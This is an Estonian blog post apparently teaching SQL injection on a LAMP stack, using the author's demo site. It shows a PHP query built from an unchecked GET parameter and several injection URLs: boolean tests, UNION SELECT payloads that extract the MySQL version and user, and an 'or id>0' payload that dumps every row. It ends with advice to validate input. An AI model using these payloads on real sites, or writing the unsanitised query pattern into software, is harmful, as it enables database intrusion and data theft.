Mysql & SQL injection

Tänapäeval on väga väga suur hulk veebilahendusi n.n LAMP (Linux, Apache, MySql, Php) tüüpi. Paar huvitavat MySql apsu mida võib kergelt teha.

Meil on tabel test id int, name varchar(255)

http://ftp.margusja.pri.ee/mysql/?id=1

Meil on php sees sql $query =”SELECT * FROM demo where id = $id” kui see niimoodi kirjutada ja GET parameetrit id ei kontrollita siis on võimalik kasutada  n.n blind sql meetodit.

http://ftp.margusja.pri.ee/mysql/?id=1  annab meile tulemuse. Proovime siis muuta urli real get parameetrit id. http://ftp.margusja.pri.ee/mysql/?id=1+and+1=2 – tulemust ei ole, kuigi id=1. Järelikult on meil võimalus mõjutada SLQ lauset mida php käivitab. Mida huvitavat selle tulemuselt teha saab on nüüd igaühe oskuste asi aga paar näidet siia.

http://ftp.margusja.pri.ee/mysql/?id=2+union+select+12,version() – MySql serveri versioon

http://ftp.margusja.pri.ee/mysql/?id=2+union+select+12,user() – kasutaja ja host antud koodi suhtes.

Oletame et tabelis on mitmeid kirjeid. Üks võimalus on proovida id=x, id=x+1 jne…
Samas kui on jäetud selline auk siis toimiba ka
http://ftp.margusja.pri.ee/mysql/?id=0+or+id>0 = http://ftp.margusja.pri.ee/mysql/?id=0+or+id%3C0 st. %3E =>

Siin on veel palju ja palju võimalusi. Aga mida siis annab teha et teie tehtud lahendust seda
kaudu nii kergelt ei saaks lammutada?
Kindlasti kontrollige oma GET/POST/ muutujad enne kui annate need koodi kätte.

Leave a Reply